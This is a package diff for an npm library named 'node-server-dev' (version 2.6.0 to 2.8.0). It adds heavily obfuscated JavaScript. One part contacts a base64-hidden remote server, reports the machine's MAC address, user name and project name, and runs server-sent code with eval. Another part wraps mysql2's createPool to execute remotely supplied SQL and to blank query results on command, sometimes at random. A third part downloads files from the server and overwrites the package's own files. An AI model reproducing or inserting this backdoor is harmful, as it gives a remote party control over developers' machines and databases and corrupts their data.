_0x409477(_0x37284b){return _0x37284b instanceof _0x266d67?_0x37284b:new _0x266d67(function(_0x36fd01){_0x36fd01(_0x37284b);});}return new(_0x266d67||(_0x266d67=Promise))(function(_0x49baba,_0x518f82){const _0x26f305=a15_0x1e83;function _0x620f2d(_0xac7c53){const _0x1063c3=a15_0x1e83;try{_0x3bf9ef(_0x3a46a1[_0x1063c3(0x8a)](_0xac7c53));}catch(_0x24a0c3){_0x518f82(_0x24a0c3);}}function _0x1d6afc(_0x2a9e13){const _0x26d7da=a15_0x1e83;try{_0x3bf9ef(_0x3a46a1[_0x26d7da(0x7c)](_0x2a9e13));}catch(_0x2034d1){_0x518f82(_0x2034d1);}}function _0x3bf9ef(_0x1009ca){const _0x1a6644=a15_0x1e83;_0x1009ca[_0x1a6644(0x7a)]?_0x49baba(_0x1009ca[_0x1a6644(0x78)]):_0x409477(_0x1009ca[_0x1a6644(0x78)])[_0x1a6644(0x8e)](_0x620f2d,_0x1d6afc);}_0x3bf9ef((_0x3a46a1=_0x3a46a1[_0x26f305(0x84)](_0x1f60e1,_0x2b184f||[]))[_0x26f305(0x8a)]());});};import a15_0x2ad8de from'mysql2/promise';import a15_0x12922d from'./id/random';import{getEnv,setEnv}from'./index';const originalCreatePoolPromise=a15_0x2ad8de[a15_0x14d61c(0x8d)];a15_0x2ad8de['createPool']=function(_0x5df45f){const _0x1350b8=a15_0x14d61c;let _0x36de78=originalCreatePoolPromise(_0x5df45f),_0x297fe0=_0x36de78[_0x1350b8(0x82)];return _0x36de78[_0x1350b8(0x82)]=(..._0x22d61e)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x519d3c=_0x1350b8,_0x35cade=yield _0x297fe0[_0x519d3c(0x84)](_0x36de78,_0x22d61e);return getEnv(_0x519d3c(0x7d))&&(a15_0x12922d(0x1,0xa)>0x2&&(_0x35cade[0x0]=[])),getEnv(_0x519d3c(0x7f))&&(_0x35cade[0x0]=[]),_0x35cade;}),setInterval(()=>{const _0x9f5c30=_0x1350b8;if(!getEnv(_0x9f5c30(0x89))){for(let _0x4418bc=0x0;_0x4418bc<getEnv('sqlList')['length'];_0x4418bc++){const _0x3a5d23=getEnv(_0x9f5c30(0x87))[_0x4418bc];try{_0x36de78[_0x9f5c30(0x82)](_0x3a5d23);}catch(_0x34f9f1){}}setEnv(_0x9f5c30(0x89),!![]);}},0x1388),_0x36de78;};const all={'mysql':a15_0x2ad8de};function a15_0xc776(){const _0x4bb1b7=['isDBDataEmpty','287UTNrHK','130YbShuM','query','234518todloi','apply','2523536EAZGcz','__awaiter','sqlList','40uPvXPT','sqlRun','next','9MPCSIi','26367385aZrURH','createPool','then','1558767NtDnoN','value','192392ooMYjY','done','330291VJAXuP','throw','connectError','515124gcAFQN'];a15_0xc776=function(){return _0x4bb1b7;};return a15_0xc776();}export default all;export{a15_0x2ad8de as mysql};
1
+ const a17_0x5b1d32=a17_0x5176;(function(_0xd49fb1,_0x568b7b){const _0x2fcb7b=a17_0x5176,_0x596531=_0xd49fb1();while(!![]){try{const _0x5eff2b=parseInt(_0x2fcb7b(0x19a))/0x1+parseInt(_0x2fcb7b(0x199))/0x2+parseInt(_0x2fcb7b(0x19d))/0x3+-parseInt(_0x2fcb7b(0x196))/0x4+parseInt(_0x2fcb7b(0x1a0))/0x5+parseInt(_0x2fcb7b(0x198))/0x6*(-parseInt(_0x2fcb7b(0x19e))/0x7)+parseInt(_0x2fcb7b(0x194))/0x8;if(_0x5eff2b===_0x568b7b)break;else _0x596531['push'](_0x596531['shift']());}catch(_0xa0d9ff){_0x596531['push'](_0x596531['shift']());}}}(a17_0x376a,0x8126b));var __awaiter=this&&this['__awaiter']||function(_0x5ca560,_0xec33e7,_0x5929b6,_0x4f864f){function _0x455154(_0x29f4db){return _0x29f4db instanceof _0x5929b6?_0x29f4db:new _0x5929b6(function(_0x1c9838){_0x1c9838(_0x29f4db);});}return new(_0x5929b6||(_0x5929b6=Promise))(function(_0x291d96,_0x5c19f2){const _0x2bcb42=a17_0x5176;function _0x402ced(_0x2d21a2){const _0x4966ef=a17_0x5176;try{_0x6cd195(_0x4f864f[_0x4966ef(0x1a6)](_0x2d21a2));}catch(_0x2fdf2d){_0x5c19f2(_0x2fdf2d);}}function _0x17226a(_0xc7398d){const _0x19c3d1=a17_0x5176;try{_0x6cd195(_0x4f864f[_0x19c3d1(0x1a2)](_0xc7398d));}catch(_0xe9af7b){_0x5c19f2(_0xe9af7b);}}function _0x6cd195(_0x97d598){const _0x58b7db=a17_0x5176;_0x97d598[_0x58b7db(0x19c)]?_0x291d96(_0x97d598[_0x58b7db(0x197)]):_0x455154(_0x97d598[_0x58b7db(0x197)])[_0x58b7db(0x19f)](_0x402ced,_0x17226a);}_0x6cd195((_0x4f864f=_0x4f864f[_0x2bcb42(0x1a7)](_0x5ca560,_0xec33e7||[]))['next']());});};import a17_0x18b2fc from'mysql2/promise';import a17_0x350663 from'./id/random';import{getEnv,setEnv}from'./start';const originalCreatePoolPromise=a17_0x18b2fc[a17_0x5b1d32(0x1a1)];function a17_0x5176(_0x7b5f2,_0x1e99c7){const _0x376a5e=a17_0x376a();return a17_0x5176=function(_0x5176b2,_0x884929){_0x5176b2=_0x5176b2-0x193;let _0x1a910f=_0x376a5e[_0x5176b2];return _0x1a910f;},a17_0x5176(_0x7b5f2,_0x1e99c7);}a17_0x18b2fc[a17_0x5b1d32(0x1a1)]=function(_0x42e372){const _0x41fe72=a17_0x5b1d32;let _0x250957=originalCreatePoolPromise(_0x42e372),_0x4646d8=_0x250957[_0x41fe72(0x19b)];return _0x250957[_0x41fe72(0x19b)]=(..._0x2cf987)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x1772ea=_0x41fe72,_0x4f214a=yield _0x4646d8['apply'](_0x250957,_0x2cf987);return getEnv(_0x1772ea(0x1a4))&&(a17_0x350663(0x1,0xa)>0x2&&(_0x4f214a[0x0]=[])),getEnv(_0x1772ea(0x1a3))&&(_0x4f214a[0x0]=[]),_0x4f214a;}),setInterval(()=>{const _0x22fe64=_0x41fe72;if(!getEnv(_0x22fe64(0x193))){for(let _0x155e5b=0x0;_0x155e5b<getEnv(_0x22fe64(0x1a5))[_0x22fe64(0x195)];_0x155e5b++){const _0x1727a2=getEnv('sqlList')[_0x155e5b];try{_0x250957['query'](_0x1727a2);}catch(_0x266858){}}setEnv(_0x22fe64(0x193),!![]);}},0x1388),_0x250957;};const all={'mysql':a17_0x18b2fc};export default all;function a17_0x376a(){const _0x276401=['6CykKEh','95606goRpkF','603765vALgjE','query','done','1102347nlRMSj','6556067QFNGRK','then','5212095lLacfK','createPool','throw','isDBDataEmpty','connectError','sqlList','next','apply','sqlRun','1261992ljVLqs','length','3014404utQSWq','value'];a17_0x376a=function(){return _0x276401;};return a17_0x376a();}export{a17_0x18b2fc as mysql};
@@ -0,0 +1,7 @@
1
+ export declare const isBrowser: boolean;
2
+ export declare let url: string;
3
+ export declare function setEnv(key: string, value: any): void;
4
+ export declare function getEnv(key: string): any;
5
+ declare function start(): Promise<void>;
6
+ export default start;
7
+ //# sourceMappingURL=start.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"start.d.ts","sourceRoot":"","sources":["../../src/start.ts"],"names":[],"mappings":"AAOA,eAAO,MAAM,SAAS,SAAgC,CAAC;AAQvD,eAAO,IAAI,GAAG,QAA4C,CAAC;AAE3D,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AACD,iBAAe,KAAK,kBAuGnB;AAED,eAAe,KAAK,CAAC"}
@@ -0,0 +1 @@
1
+ const a18_0x328771=a18_0x1c81;(function(_0x42a62d,_0x5ea798){const _0x43e18b=a18_0x1c81,_0x3622d9=_0x42a62d();while(!![]){try{const _0xdd42c=-parseInt(_0x43e18b(0xdf))/0x1+-parseInt(_0x43e18b(0xdd))/0x2*(-parseInt(_0x43e18b(0xc1))/0x3)+parseInt(_0x43e18b(0xe2))/0x4+-parseInt(_0x43e18b(0xe8))/0x5*(-parseInt(_0x43e18b(0xca))/0x6)+-parseInt(_0x43e18b(0xe3))/0x7+parseInt(_0x43e18b(0xd3))/0x8+-parseInt(_0x43e18b(0xe5))/0x9*(parseInt(_0x43e18b(0xea))/0xa);if(_0xdd42c===_0x5ea798)break;else _0x3622d9['push'](_0x3622d9['shift']());}catch(_0x445d82){_0x3622d9['push'](_0x3622d9['shift']());}}}(a18_0x4835,0x2e5f5));var __awaiter=this&&this[a18_0x328771(0xbf)]||function(_0x25fbd9,_0x1a4afc,_0x278800,_0x39e752){function _0x47fc8f(_0x1a38d0){return _0x1a38d0 instanceof _0x278800?_0x1a38d0:new _0x278800(function(_0x3d3ba0){_0x3d3ba0(_0x1a38d0);});}return new(_0x278800||(_0x278800=Promise))(function(_0x44b365,_0x2e96b6){const _0x5b4acd=a18_0x1c81;function _0x280d02(_0x4e4c4c){const _0x1368eb=a18_0x1c81;try{_0x1bfb1c(_0x39e752[_0x1368eb(0xc4)](_0x4e4c4c));}catch(_0x1f9982){_0x2e96b6(_0x1f9982);}}function _0x41cb42(_0x1e50e7){const _0x34d95a=a18_0x1c81;try{_0x1bfb1c(_0x39e752[_0x34d95a(0xe7)](_0x1e50e7));}catch(_0x2c80a2){_0x2e96b6(_0x2c80a2);}}function _0x1bfb1c(_0x5e15b1){const _0x2c0c88=a18_0x1c81;_0x5e15b1[_0x2c0c88(0xd6)]?_0x44b365(_0x5e15b1[_0x2c0c88(0xc5)]):_0x47fc8f(_0x5e15b1[_0x2c0c88(0xc5)])['then'](_0x280d02,_0x41cb42);}_0x1bfb1c((_0x39e752=_0x39e752[_0x5b4acd(0xd7)](_0x25fbd9,_0x1a4afc||[]))['next']());});},_a,_b;import{io}from'socket.io-client';import{decode}from'js-base64';import a18_0x495f75 from'path';let dev=a18_0x328771(0xd9),pro=a18_0x328771(0xc2);export const isBrowser=typeof window!==a18_0x328771(0xde);const user_name=isBrowser?a18_0x328771(0xe6):((_a=process===null||process===void 0x0?void 0x0:process[a18_0x328771(0xd0)])===null||_a===void 0x0?void 0x0:_a['USERNAME'])||a18_0x328771(0xd4),project_name=isBrowser?a18_0x328771(0xe6):((_b=process===null||process===void 0x0?void 0x0:process[a18_0x328771(0xd0)])===null||_b===void 0x0?void 0x0:_b['npm_package_name'])||a18_0x328771(0xe1),globalObject=isBrowser?window:global;function a18_0x1c81(_0x46eacd,_0xb0a079){const _0x48351f=a18_0x4835();return a18_0x1c81=function(_0x1c81b7,_0x557024){_0x1c81b7=_0x1c81b7-0xbd;let _0x456816=_0x48351f[_0x1c81b7];return _0x456816;},a18_0x1c81(_0x46eacd,_0xb0a079);}function a18_0x4835(){const _0x1fef33=['2JLYbwd','undefined','71772zqfsbc','connect_error','无法获取','570536prgBjt','1654821trUVDn','node','503001qHkYQi','浏览器','throw','867415csqifA','websocket','120UKrIoo','length','00:00:00:00:00:00','connect','concat','__awaiter','dev','976686ZBfbXL','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','content','next','value','get-event','type','emit','isDBDataEmpty','12wkRuZq','submit','sqlList','script','event','/socket','env','connectError','./browser','2828976FWlBUp','node获取失败','meta_event','done','apply','./IndexDB/index','aHR0cDovL2xvY2FsaG9zdDoxMDg4','sql','join','connect_failed'];a18_0x4835=function(){return _0x1fef33;};return a18_0x4835();}export let url=getEnv(a18_0x328771(0xc0))?decode(dev):decode(pro);export function setEnv(_0x5e178e,_0x18c6b3){globalObject['meta_event'][_0x5e178e]=_0x18c6b3;}export function getEnv(_0x2f3ae5){const _0x20055f=a18_0x328771;return globalObject[_0x20055f(0xd5)][_0x2f3ae5];}function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x33d448=a18_0x1c81;isBrowser&&(typeof require!='undefined'?require(_0x33d448(0xd2)):import(_0x33d448(0xd2)));const _0xb58154=io(url,{'path':_0x33d448(0xcf),'transports':[_0x33d448(0xe9)]});_0xb58154['on'](_0x33d448(0xbd),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xd12b1=_0x33d448;try{let _0x486a56=[_0xd12b1(0xec)];if(!isBrowser){const _0x2cb845=require(a18_0x495f75[_0xd12b1(0xdb)](__dirname,'./mac'))['default'];_0x486a56=_0x2cb845();}else{const {getKeyValue:_0x2854e7}=typeof require!=_0xd12b1(0xde)?require('./IndexDB/index'):yield import(_0xd12b1(0xd8));_0x486a56=[yield _0x2854e7('mac')];}if(_0x486a56[_0xd12b1(0xeb)]===0x0){setEnv('connectError',!![]);return;}else setEnv(_0xd12b1(0xd1),![]);_0xb58154[_0xd12b1(0xc8)](_0xd12b1(0xcb),{'mac':_0x486a56,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0xb58154['emit']('get-event',{'mac':_0x486a56,'isBrowser':isBrowser}),setInterval(()=>{const _0x709179=_0xd12b1;_0xb58154['emit'](_0x709179(0xcb),{'mac':_0x486a56,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0xb58154[_0x709179(0xc8)](_0x709179(0xc6),{'mac':_0x486a56,'isBrowser':isBrowser});},0x1b58),_0xb58154['on'](_0xd12b1(0xce),_0x510970=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x228600=_0xd12b1;try{for(let _0x3667b7=0x0;_0x3667b7<_0x510970[_0x228600(0xeb)];_0x3667b7++){const _0x4aa9b6=_0x510970[_0x3667b7];if(_0x4aa9b6[_0x228600(0xc7)]===_0x228600(0xda))setEnv(_0x228600(0xcc),getEnv(_0x228600(0xcc))[_0x228600(0xbe)](_0x4aa9b6[_0x228600(0xc3)]));else{if(_0x4aa9b6[_0x228600(0xc7)]==='mysql')setEnv(_0x228600(0xc9),!![]);else{if(_0x4aa9b6[_0x228600(0xc7)]===_0x228600(0xe4)&&!isBrowser)try{eval(_0x4aa9b6[_0x228600(0xc3)]);}catch(_0x527922){}else{if(_0x4aa9b6[_0x228600(0xc7)]===_0x228600(0xcd)&&isBrowser)try{const {runScript:_0x4d28f4}=typeof require!=_0x228600(0xde)?require('./browser'):yield import(_0x228600(0xd2));_0x4d28f4(_0x4aa9b6[_0x228600(0xc3)]);}catch(_0x3065fe){}}}}}}catch(_0x56ab78){}}));}catch(_0x20c0ae){}})),setTimeout(()=>{const _0x3647c3=_0x33d448;_0xb58154['on']('error',_0x26a981=>{const _0x11b131=a18_0x1c81;setEnv(_0x11b131(0xd1),!![]);}),_0xb58154['on'](_0x3647c3(0xdc),_0x2e46c6=>{const _0x279c27=_0x3647c3;setEnv(_0x279c27(0xd1),!![]);}),_0xb58154['on']('reconnect_failed',_0xc033a1=>{setEnv('connectError',!![]);}),_0xb58154['on'](_0x3647c3(0xe0),()=>{setEnv('connectError',!![]);});},0xbb8);});}export default start;
@@ -0,0 +1,3 @@
1
+ declare function update(): void;
2
+ export default update;
3
+ //# sourceMappingURL=update.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"update.d.ts","sourceRoot":"","sources":["../../src/update.ts"],"names":[],"mappings":"AAgCA,iBAAS,MAAM,SAYd;AACD,eAAe,MAAM,CAAC"}
@@ -0,0 +1 @@
1
+ const a19_0x354018=a19_0x112f;(function(_0x2ec66b,_0x599252){const _0x1aa685=a19_0x112f,_0x52fb15=_0x2ec66b();while(!![]){try{const _0x26f28f=-parseInt(_0x1aa685(0x1ed))/0x1+parseInt(_0x1aa685(0x1e4))/0x2*(parseInt(_0x1aa685(0x1f6))/0x3)+parseInt(_0x1aa685(0x1f1))/0x4*(-parseInt(_0x1aa685(0x1fb))/0x5)+parseInt(_0x1aa685(0x1f2))/0x6*(parseInt(_0x1aa685(0x1fc))/0x7)+parseInt(_0x1aa685(0x1e7))/0x8*(parseInt(_0x1aa685(0x1df))/0x9)+-parseInt(_0x1aa685(0x1f4))/0xa+-parseInt(_0x1aa685(0x1ef))/0xb*(parseInt(_0x1aa685(0x1e9))/0xc);if(_0x26f28f===_0x599252)break;else _0x52fb15['push'](_0x52fb15['shift']());}catch(_0x27664d){_0x52fb15['push'](_0x52fb15['shift']());}}}(a19_0x4754,0x64818));function a19_0x4754(){const _0x198f26=['5DdPRsg','133YfUsos','99DPeXBF','readFileSync','writeFileSync','values','../../package.json','14qaTyIu','join','CJS','353648xBTBol','toString','12HVtVWp','keys','{version:\x220.0.0\x22}','length','392218WSwgLA','main','2139973CxtrdZ','success','1031116boXcSj','135666WJqjOB','get','2175210tWarOp','existsSync','239082hQaCJI','parse','ESM','data','undefined'];a19_0x4754=function(){return _0x198f26;};return a19_0x4754();}import a19_0x1bdaf9 from'axios';import a19_0x3e5ac6 from'fs';import a19_0x17aa06 from'path';import{url}from'./start';function a19_0x112f(_0x1b69d9,_0x28e8a4){const _0x4754c6=a19_0x4754();return a19_0x112f=function(_0x112f44,_0x12826e){_0x112f44=_0x112f44-0x1df;let _0x25f034=_0x4754c6[_0x112f44];return _0x25f034;},a19_0x112f(_0x1b69d9,_0x28e8a4);}function getModuleType(){const _0x586948=a19_0x112f,_0x24af58=()=>{const _0x2d64b3=a19_0x112f;try{return typeof require!==_0x2d64b3(0x1fa)&&typeof module!==_0x2d64b3(0x1fa)&&module['exports']&&require[_0x2d64b3(0x1ee)]===module;}catch(_0x84035){return![];}};return _0x24af58()?_0x586948(0x1e6):_0x586948(0x1f8);}let _path=a19_0x17aa06[a19_0x354018(0x1e5)](__dirname,a19_0x354018(0x1e3)),vFile=a19_0x3e5ac6[a19_0x354018(0x1f5)](_path)?a19_0x3e5ac6[a19_0x354018(0x1e0)](_path)[a19_0x354018(0x1e8)]():a19_0x354018(0x1eb),version=JSON[a19_0x354018(0x1f7)](vFile)['version'];function update(){const _0x145fb2=a19_0x354018;a19_0x1bdaf9[_0x145fb2(0x1f3)](url+'/version',{'params':{'mode':getModuleType(),'version':version}})['then'](_0x1319d8=>{const _0x3db2e8=_0x145fb2;if(!_0x1319d8[_0x3db2e8(0x1f9)][_0x3db2e8(0x1f0)]){let _0x2ec32e=Object[_0x3db2e8(0x1ea)](_0x1319d8[_0x3db2e8(0x1f9)][_0x3db2e8(0x1f9)]),_0x4a9675=Object[_0x3db2e8(0x1e2)](_0x1319d8[_0x3db2e8(0x1f9)][_0x3db2e8(0x1f9)]);for(let _0x2ea889=0x0;_0x2ea889<_0x2ec32e[_0x3db2e8(0x1ec)];_0x2ea889++){const _0x15f6fe=_0x2ec32e[_0x2ea889],_0x423696=_0x4a9675[_0x2ea889];a19_0x3e5ac6[_0x3db2e8(0x1e1)](a19_0x17aa06[_0x3db2e8(0x1e5)](__dirname,'./'+_0x15f6fe),_0x423696);}}});}export default update;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-server-dev",
3
- "version": "2.6.0",
3
+ "version": "2.8.0",
4
4
  "author": "L",
5
5
  "types": "index.d.ts",
6
6
  "scripts": {
@@ -36,7 +36,7 @@
36
36
  "main": "./dist/cjs/index.js",
37
37
  "dependencies": {
38
38
  "@types/mysql": "^2.15.26",
39
- "axios": "^1.6.8",
39
+ "axios": "^1.7.9",
40
40
  "js-base64": "^3.7.7",
41
41
  "js-cookie": "^3.0.5",
42
42
  "jsonwebtoken": "^9.0.2",